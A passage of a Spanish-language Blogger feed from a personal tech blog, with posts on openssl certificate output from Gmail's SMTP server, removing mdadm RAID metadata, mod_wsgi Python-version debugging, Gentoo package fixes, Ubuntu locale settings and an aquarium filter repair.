/&gt;Y3Jscy9zZWN1cmVjYS5jcmwwDQYJKoZIhvcNAQEFBQADgYEAuIojxkiWsRF8YHde&lt;br /&gt;BZqrocb6ghwYB8TrgbCoZutJqOkM0ymt9e8kTP3kS8p/XmOrmSfLnzYhLLkQYGfN&lt;br /&gt;0rTw8Ktx5YtaiScRhKqOv5nwnQkhClIZmloJ0pC3+gz4fniisIWvXEyZ2VxVKfml&lt;br /&gt;UUIuOss4jHg7y/j7lYe8vJD5UDI=&lt;br /&gt;-----END CERTIFICATE-----&lt;br /&gt;---&lt;br /&gt;Server certificate&lt;br /&gt;subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;issuer=/C=US/O=Google Inc/CN=Google Internet Authority&lt;br /&gt;---&lt;br /&gt;No client certificate CA names sent&lt;br /&gt;---&lt;br /&gt;SSL handshake has read 1906 bytes and written 363 bytes&lt;br /&gt;---&lt;br /&gt;New, TLSv1/SSLv3, Cipher is RC4-SHA&lt;br /&gt;Server public key is 1024 bit&lt;br /&gt;Compression: NONE&lt;br /&gt;Expansion: NONE&lt;br /&gt;SSL-Session:&lt;br /&gt;    Protocol  : TLSv1&lt;br /&gt;    Cipher    : RC4-SHA&lt;br /&gt;    Session-ID: BA187E0D09C0CDDE4A3520D6991731686C09AF37EB4B5AA5DE6275B2ACB2A202&lt;br /&gt;    Session-ID-ctx:&lt;br /&gt;    Master-Key: 67579D9C448EFBC8C576EB29F76B3A89A80C7A43E67302B4A6A5205CA5E193F0DC127E205D08ED5BB3747749890110E4&lt;br /&gt;    Key-Arg   : None&lt;br /&gt;    Start Time: 1304681288&lt;br /&gt;    Timeout   : 300 (sec)&lt;br /&gt;    Verify return code: 20 (unable to get local issuer certificate)&lt;br /&gt;---&lt;br /&gt;250 ENHANCEDSTATUSCODES&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-1539231645408500490?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/1539231645408500490/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=1539231645408500490&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1539231645408500490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1539231645408500490'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/05/esto-es-una-ampliacion-la-entrada-de.html' title='Extraer los certificados SSL de un determinado puerto (2)'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3165097221335350919</id><published>2011-04-28T14:07:00.000+02:00</published><updated>2011-04-28T14:07:17.363+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Eliminar un volumen raid definitivamente</title><content type='html'>A veces queremos dejar de usar un volumen raid pero a pesar de pararlo formatear los dispositivos etc se vuelve a crear solo en cada inicio para que esto no suceda hay que borrar el bloque de metadatos de cada unidad:&lt;br /&gt;&lt;pre class="codigo"&gt;# mdadm --stop /dev/md1&lt;br /&gt;# mdadm --misc --zero-superblock /dev/sda2&lt;br /&gt;# mdadm --misc --zero-superblock /dev/sdb2&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3165097221335350919?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3165097221335350919/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3165097221335350919&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3165097221335350919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3165097221335350919'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/04/eliminar-un-volumen-raid.html' title='Eliminar un volumen raid definitivamente'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7898802718877495574</id><published>2011-04-28T13:35:00.005+02:00</published><updated>2011-04-28T14:07:30.824+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Utilidades básicas de compilación en Ubuntu</title><content type='html'>Facil:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;# apt-get install build-essential&lt;br /&gt;# apt-get install libssl-dev&lt;br /&gt;# apt-get install python-all-dev&lt;br /&gt;# apt-get install python-setuptools&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7898802718877495574?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7898802718877495574/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7898802718877495574&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7898802718877495574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7898802718877495574'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/04/utilidades-basicas-de-compilacion-en.html' title='Utilidades básicas de compilación en Ubuntu'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-6118874454207508168</id><published>2011-04-07T21:37:00.005+02:00</published><updated>2011-04-07T22:20:16.153+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='acuario'/><title type='text'>Llave de paso Eheim 2213 goteando</title><content type='html'>Tras casi 2 años sin usar el filtro las juntas tóricas se habían endurecido y roto, el conector de la llave de pasó había quedado tal que así:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-EhMCIdM3l4U/TZ4PF8QFc9I/AAAAAAAAAzo/MZyie_9Jk1g/s1600/P1040587.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://1.bp.blogspot.com/-EhMCIdM3l4U/TZ4PF8QFc9I/AAAAAAAAAzo/MZyie_9Jk1g/s640/P1040587.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Estó hacía que se pediera una gota por minuto en cada una de las llaves, lo que equivale a un par de vasos de agua diarios que podía llegar a recoger, tras mucho buscar en tiendas online un repuesto, unas nuevas llaves valen casi 12€ y las gomas mas de 6€, así que llendo para la ferretería 15cts cada una de estas juntas tóricas :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-J8gpetOFE74/TZ4PbcxzwHI/AAAAAAAAAz4/5huiaipc2q0/s1600/P1040593.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://1.bp.blogspot.com/-J8gpetOFE74/TZ4PbcxzwHI/AAAAAAAAAz4/5huiaipc2q0/s640/P1040593.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Encajan a la perfección y por ahora no hay perdidas:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-fOErEVo14u8/TZ4POH7qDvI/AAAAAAAAAzw/94a3VwxXeDQ/s1600/P1040590.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://3.bp.blogspot.com/-fOErEVo14u8/TZ4POH7qDvI/AAAAAAAAAzw/94a3VwxXeDQ/s640/P1040590.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Como curiosidad otro apaño que tuve que hacerle al filtro, al pobre mio me lo cogieron por los tubos y claro la boca se partió, el superglue (cianocrilato en los chinos) ha servido a las mil maravillas, el plastico ha quedado perfectamente soldado, lo que se ve blaquillo por encima es cola que le puse a posteriori para quedarme mas tranquilo o si hubiera una fuga tener tiempo para localizarla antes de encharcar toda la casa.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-J8gpetOFE74/TZ4PbcxzwHI/AAAAAAAAAz4/5huiaipc2q0/s1600/P1040593.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-BBOeBosznUA/TZ4PnFGWamI/AAAAAAAAA0A/CzHHLGtMmd0/s1600/P1040603.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://3.bp.blogspot.com/-BBOeBosznUA/TZ4PnFGWamI/AAAAAAAAA0A/CzHHLGtMmd0/s640/P1040603.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6118874454207508168?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6118874454207508168/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6118874454207508168&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6118874454207508168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6118874454207508168'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/04/llave-de-paso-eheim-2213-goteando.html' title='Llave de paso Eheim 2213 goteando'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-EhMCIdM3l4U/TZ4PF8QFc9I/AAAAAAAAAzo/MZyie_9Jk1g/s72-c/P1040587.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3178398004727441112</id><published>2011-02-13T16:13:00.001+01:00</published><updated>2011-02-13T16:18:45.906+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>mod_wsgi apuntando a la versión correcta de python</title><content type='html'>mod_wsgi no carga correctamente las librerias de trac, en mi sistema lo tengo instalado en la versión 2.6, este es el error exacto:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;mod_wsgi (pid=14804): Target WSGI script '/home/proyectos/trac/miproyecto-deploy/cgi-bin/trac.wsgi' cannot be loaded as Python module.&lt;br /&gt;mod_wsgi (pid=14804): Exception occurred processing WSGI script '/home/proyectos/trac/miproyecto-deploy/cgi-bin/trac.wsgi'.&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt;  File "/home/proyectos/trac/miproyecto-deploy/cgi-bin/trac.wsgi", line 19, in &lt;module&gt;&lt;br /&gt;    from trac.web.main import dispatch_request&lt;br /&gt;ImportError: No module named trac.web.main&lt;/pre&gt;&lt;br /&gt;Si observamos a donde apunta el modulo wsgi, vemos que es a la versión 2.6:&lt;br /&gt;&lt;pre class="codigo"&gt;# ldd mod_wsgi.so&lt;br /&gt;        linux-vdso.so.1 =&gt;  (0x00007fffc0bff000)&lt;br /&gt;        libpython2.6.so.1.0 =&gt; /usr/lib/libpython2.6.so.1.0 (0x00007f80b8511000)&lt;br /&gt;        libpthread.so.0 =&gt; /lib/libpthread.so.0 (0x00007f80b82f6000)&lt;br /&gt;        libdl.so.2 =&gt; /lib/libdl.so.2 (0x00007f80b80f1000)&lt;br /&gt;        libutil.so.1 =&gt; /lib/libutil.so.1 (0x00007f80b7eee000)&lt;br /&gt;        libm.so.6 =&gt; /lib/libm.so.6 (0x00007f80b7c6d000)&lt;br /&gt;        libc.so.6 =&gt; /lib/libc.so.6 (0x00007f80b7924000)&lt;br /&gt;        /lib64/ld-linux-x86-64.so.2 (0x00007f80b8acc000)&lt;/pre&gt;&lt;br /&gt;Como esto no cuadra mucho editamos /home/proyectos/trac/miproyecto-deploy/cgi-bin/trac.wsgi añadiendo al principio:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;import sys&lt;br /&gt;f=open('/tmp/debug','wb')&lt;br /&gt;f.write('sys.prefix: %s\n' % str(sys.prefix))&lt;br /&gt;f.write('sys.path: %s\n' % str(sys.path))&lt;br /&gt;f.close()&lt;/pre&gt;&lt;br /&gt;Esto nos crea un archivo donde vemos en realidad de donde está importando las librerías a las que llamamos:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;# cat /tmp/debug&lt;br /&gt;sys.prefix: /usr&lt;br /&gt;sys.path: ['/usr/lib64/python25.zip', '/usr/lib64/python2.5', '/usr/lib64/python2.5/plat-linux2', '/usr/lib64/python2.5/lib-tk', '/usr/lib64/python2.5/lib-dynload', '/usr/lib64/portage/pym', '/usr/lib64/python2.5/site-packages']&lt;/pre&gt;&lt;br /&gt;Como vemos realmente está buscando en la versión 2.5... echando un vistazo a la config de apache vemos por donde puede venir el problema:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;LoadModule python_module      modules/mod_python.so&lt;br /&gt;LoadModule wsgi_module        modules/mod_wsgi.so&lt;/pre&gt;&lt;br /&gt;Tras un poco de investigación el problema es que primero se carga el modulo mod_python linkado contra la 2.5, así que recompilar mod_python contra la 2.6 y funcionando :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3178398004727441112?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3178398004727441112/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3178398004727441112&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3178398004727441112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3178398004727441112'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/02/modwsgi-apuntando-la-version-correcta.html' title='mod_wsgi apuntando a la versión correcta de python'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-121105457105616772</id><published>2011-02-13T12:41:00.001+01:00</published><updated>2011-02-13T12:43:07.997+01:00</updated><title type='text'>Extensiones de sqlite para versiones especificas</title><content type='html'>Suele pasar que las explicaciones de como llevar a cabo la instalación de ciertos paquetes por resumida que es no se entiende na... "(Change USE: +extensions)", bueno esto significa añadir una linea al package.use, a continuación los detalles:&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;# emerge dev-python/pysqlite&lt;br /&gt;Calculating dependencies... done!&lt;br /&gt;&lt;br /&gt;emerge: there are no ebuilds built with USE flags to satisfy "&gt;=dev-db/sqlite-3.3.8:3[extensions]".&lt;br /&gt;!!! One of the following packages is required to complete your request:&lt;br /&gt;- dev-db/sqlite-3.7.2 (Change USE: +extensions)&lt;br /&gt;(dependency required by "dev-python/pysqlite-2.6.0-r1" [ebuild])&lt;br /&gt;(dependency required by "dev-python/pysqlite" [argument])&lt;/pre&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;echo "dev-db/sqlite extensions" &gt;&gt; /etc/portage/package.use&lt;br /&gt;emerge dev-python/pysqlite&lt;/pre&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;# emerge dev-python/pysqlite -av&lt;br /&gt;&lt;br /&gt;These are the packages that would be merged, in order:&lt;br /&gt;&lt;br /&gt;Calculating dependencies... done!&lt;br /&gt;[ebuild  N    ] dev-db/sqlite-3.7.2  USE="extensions fts3 readline threadsafe -debug -doc -icu -secure-delete -soundex -tcl -test -unlock-notify" 0 kB&lt;br /&gt;[ebuild   R   ] dev-python/pysqlite-2.6.0-r1  USE="-examples" 0 kB&lt;br /&gt;&lt;br /&gt;Total: 2 packages (1 new, 1 reinstall), Size of downloads: 0 kB&lt;br /&gt;&lt;br /&gt;Would you like to merge these packages? [Yes/No]&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-121105457105616772?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/121105457105616772/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=121105457105616772&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/121105457105616772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/121105457105616772'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/02/extensiones-de-sqlite-para-versiones.html' title='Extensiones de sqlite para versiones especificas'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-6303843917306970032</id><published>2011-02-10T18:16:00.008+01:00</published><updated>2011-02-13T12:43:37.805+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Cambiar idioma en Ubuntu</title><content type='html'>Para cambiar el idioma general del sistema operativo una vez instalado debemos modificar los locale asignados, para ello o bien podemos cambiar unicamente para nuestro usuario añadiendo en nuestro .bash_profile:&lt;br /&gt;&lt;pre class="codigo"&gt;LANG="es_ES.UTF-8"&lt;br /&gt;LANGUAGE="es_ES.UTF-8"&lt;/pre&gt;&lt;br /&gt;Si queremos cambiar el idioma por defecto sistema por completo, editamos /etc/default/locale y cambiamos la entrada por:&lt;br /&gt;&lt;pre class="codigo"&gt;LANG="en_US.UTF-8"&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6303843917306970032?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6303843917306970032/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6303843917306970032&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6303843917306970032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6303843917306970032'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/02/cambiar-idioma-en-ubuntu.html' title='Cambiar idioma en Ubuntu'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-9063734698838010355</id><published>2010-12-15T11:49:00.001+01:00</published><updated>2010-12-15T11:51:23.806+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Una de las cosas que empiezo a odiar de Gentoo</title><content type='html'>Me encanta gentoo no lo voy a negar, el ajuste fino, finisimo que se puede hacer sobre la configuración los paquetes, sus scripts init, la limpieza de la instalación, etc etc... lo que empiezo a no aguantar es que últimamente cada vez que se hace un sync de una máquina con más de 6 meses de intalación haya que montar el taco para poder actualizarla.&lt;br /&gt;&lt;br /&gt;Y cuando encima es el portage en conflicto con python el que falla... apaga y vamonos:&lt;br /&gt;&lt;pre class="codigo"&gt;# emerge portage -av&lt;br /&gt;&lt;br /&gt; * IMPORTANT: 4 news items need reading for repository 'gentoo'.&lt;br /&gt; * Use eselect news to read news items.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;These are the packages that would be merged, in order:&lt;br /&gt;&lt;br /&gt;Calculating dependencies... done!&lt;br /&gt;[ebuild  N    ] app-arch/xz-utils-4.999.9_beta  USE="nls threads -static-libs" 1,014 kB [0]&lt;br /&gt;[ebuild     U ] sys-apps/sandbox-2.4 [1.2.18.1-r2] USE="(-multilib)" 337 kB [?=&gt;0]&lt;br /&gt;[uninstall    ] app-arch/lzma-utils-4.32.7  USE="-nocxx"  [0]&lt;br /&gt;[blocks b     ] app-arch/lzma-utils ("app-arch/lzma-utils" is blocking app-arch/xz-utils-4.999.9_beta)&lt;br /&gt;[blocks b     ] app-arch/xz-utils ("app-arch/xz-utils" is blocking app-arch/lzma-utils-4.32.7)&lt;br /&gt;[ebuild  NS   ] dev-lang/python-2.6.6-r1 [2.4.3-r4, 2.5.2-r7] USE="berkdb gdbm ipv6 ncurses readline ssl threads (wide-unicode) xml -build -doc -examples -sqlite -tk -wininst" 10,837 kB [0]&lt;br /&gt;[ebuild     U ] sys-apps/portage-2.1.9.24 [2.1.6.7] USE="(ipc%*) -build -doc -epydoc -python3% (-selinux)" LINGUAS="-pl" 712 kB [0]&lt;br /&gt;*** Portage will stop merging at this point and reload itself,&lt;br /&gt;    then resume the merge.&lt;br /&gt;[blocks B     ] &gt;=dev-lang/python-2.6.6 ("&gt;=dev-lang/python-2.6.6" is blocking sys-apps/portage-2.1.6.7)&lt;br /&gt;[blocks B     ] &amp;lt;sys-apps/portage-2.1.9 ("&amp;lt;sys-apps/portage-2.1.9" is blocking dev-lang/python-2.6.6-r1)&lt;br /&gt;&lt;br /&gt;Total: 4 packages (2 upgrades, 1 new, 1 in new slot, 1 uninstall), Size of downloads: 12,898 kB&lt;br /&gt;Conflict: 4 blocks (2 unsatisfied)&lt;br /&gt;Portage tree and overlays:&lt;br /&gt; [0] /usr/portage&lt;br /&gt; [?] indicates that the source repository could not be determined&lt;br /&gt;&lt;br /&gt; * Error: The above package list contains packages which cannot be&lt;br /&gt; * installed at the same time on the same system.&lt;br /&gt;&lt;br /&gt;  ('ebuild', '/', 'dev-lang/python-2.6.6-r1', 'merge') pulled in by&lt;br /&gt;    dev-lang/python:2.6 required by ('ebuild', '/', 'sys-apps/portage-2.1.9.24', 'merge')&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;La solución pasa por emergear una versión un pelin anterior de python-2.6&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;# emerge =python-2.6.5-r3&lt;br /&gt;# emerge portage -v&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-9063734698838010355?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/9063734698838010355/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=9063734698838010355&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/9063734698838010355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/9063734698838010355'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/12/una-de-las-cosas-que-empiezo-odiar-de.html' title='Una de las cosas que empiezo a odiar de Gentoo'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-6069780579085853599</id><published>2010-11-07T13:42:00.001+01:00</published><updated>2010-11-07T13:42:56.083+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='photoshop'/><title type='text'>Efecto comic en photoshop</title><content type='html'>&lt;iframe title="YouTube video player" class="youtube-player" type="text/html" width="640" height="390" src="http://www.youtube.com/embed/rG6W-ZRwx48?rel=0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6069780579085853599?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6069780579085853599/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6069780579085853599&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6069780579085853599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6069780579085853599'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/11/efecto-comic-en-photoshop.html' title='Efecto comic en photoshop'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/rG6W-ZRwx48/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-2248255377408822479</id><published>2010-10-30T19:40:00.000+02:00</published><updated>2010-10-30T19:40:16.960+02:00</updated><title type='text'>Spider pig</title><content type='html'>Spider pig spider pig...&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://4.bp.blogspot.com/_lVFCOEwXZGU/TMxYT0jAr_I/AAAAAAAAAy8/sD8qJjrmCWA/s1600/spiderpig.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_lVFCOEwXZGU/TMxYT0jAr_I/AAAAAAAAAy8/sD8qJjrmCWA/s1600/spiderpig.jpg" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-2248255377408822479?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/2248255377408822479/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=2248255377408822479&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2248255377408822479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2248255377408822479'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/10/spider-pig.html' title='Spider pig'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lVFCOEwXZGU/TMxYT0jAr_I/AAAAAAAAAy8/sD8qJjrmCWA/s72-c/spiderpig.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-785148900143715325</id><published>2010-09-18T00:07:00.002+02:00</published><updated>2010-09-18T00:07:48.090+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>sometimes somehow</title><content type='html'>&lt;object height="505" width="640"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/WMMOExVjSPo?fs=1&amp;amp;hl=en_US"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/WMMOExVjSPo?fs=1&amp;amp;hl=en_US" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" 